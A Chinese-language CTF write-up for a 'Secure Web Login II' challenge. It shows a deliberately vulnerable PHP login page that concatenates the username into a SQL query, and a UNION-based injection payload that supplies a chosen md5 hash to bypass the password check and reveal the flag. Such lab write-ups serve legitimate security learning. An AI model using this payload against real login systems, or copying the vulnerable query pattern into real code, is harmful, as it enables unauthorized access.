題目地址:http://chinalover.sinaapp.com/web6/index.php
一看有源碼,必須馬上點擊Source,真香……
思路還是很清晰的,提交用戶名參數和密碼參數,拼接sql查詢語句,密碼的md5值和用戶名對應記錄的密碼一致,則輸出flag。顯然我們也不知道username值可能是啥,sql注入實錘了,在username字段做寫文章。
首先就是sql語句的拼接,閉合左單引號然后右單引號注釋掉。中間用union聯合查詢讓我們傳入的password的md5值頂替對應pw字段。
可以搭建環境測試以下,如下進行簡單修改:
1 <html> 2 <head> 3 <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> 4 <title>Secure Web Login II</title> 5 </head> 6 <body bgcolor="BurlyWood"> 7 8 <?php 9 $dbuser = 'root'; //SAE_MYSQL_USER 10 $dbpass = 'root'; //SAE_MYSQL_PASS 11 $dbname = "dvwa"; //SAE_MYSQL_DB 12 $host = 'localhost'; //SAE_MYSQL_HOST_M 13 if (@$_POST['user'] && @$_POST['pass']) { 14 $con = mysql_connect($host, $dbuser, $dbpass); 15 mysql_select_db($dbname, $con) or die("Unable to connect to the database: $dbname"); 16 $user = $_POST['user']; 17 $pass = md5($_POST['pass']); 18 echo "username:$user<br/>"; 19 echo "password:$_POST['pass']<br/>"; 20 echo "password after hash:'$pass'<br/>"; 21 echo "select password from users where user='$user'<br/>"; 22 $query = @mysql_fetch_array(mysql_query("select password from users where user='$user'")); 23 echo "query of password:" . $query['password'] . "<br/>"; 24 if (($query['password']) && (!strcasecmp($pass, $query['password']))) { 25 echo "<h2>Logged in! Key: ntcf{php_is_best} </h2>"; 26 } else { 27 echo ("<h2>Log in failure!</h2>"); 28 } 29 30 } 31 ?> 32 <form method='post' action='index.php'> 33 <h3>username:</h3><input type='text' name='user' value=""> 34 <h3>password:</h3><input type='password' name='pass' value=""> 35 <input type='submit'> 36 </form> 37 </body> 38 </html>
這里白嫖dvwa數據庫的users數據表,來模擬源碼里面的數據庫和數據表,因為密碼剛好存儲的是md5加密后的值:
我admin用戶對應的密碼是123456的md5值。輸入正確的值:
構造payload先在數據庫一試: (1 的md5是c4ca4238a0b923820dcc509a6f75849b)
' union select 'c4ca4238a0b923820dcc509a6f75849b'#
注入成功
# 是數據庫的注釋字符,后面的單引號其實起不到作用。
因此實際數據庫接受到的語句是:
select password from users where user='' union select 'c4ca4238a0b923820dcc509a6f75849b'#';
它等同於查詢:
select password from users where user='' union select 'c4ca4238a0b923820dcc509a6f75849b';
即在username輸入:' union select 'c4ca4238a0b923820dcc509a6f75849b'#
password輸入:1 點擊提交查詢
done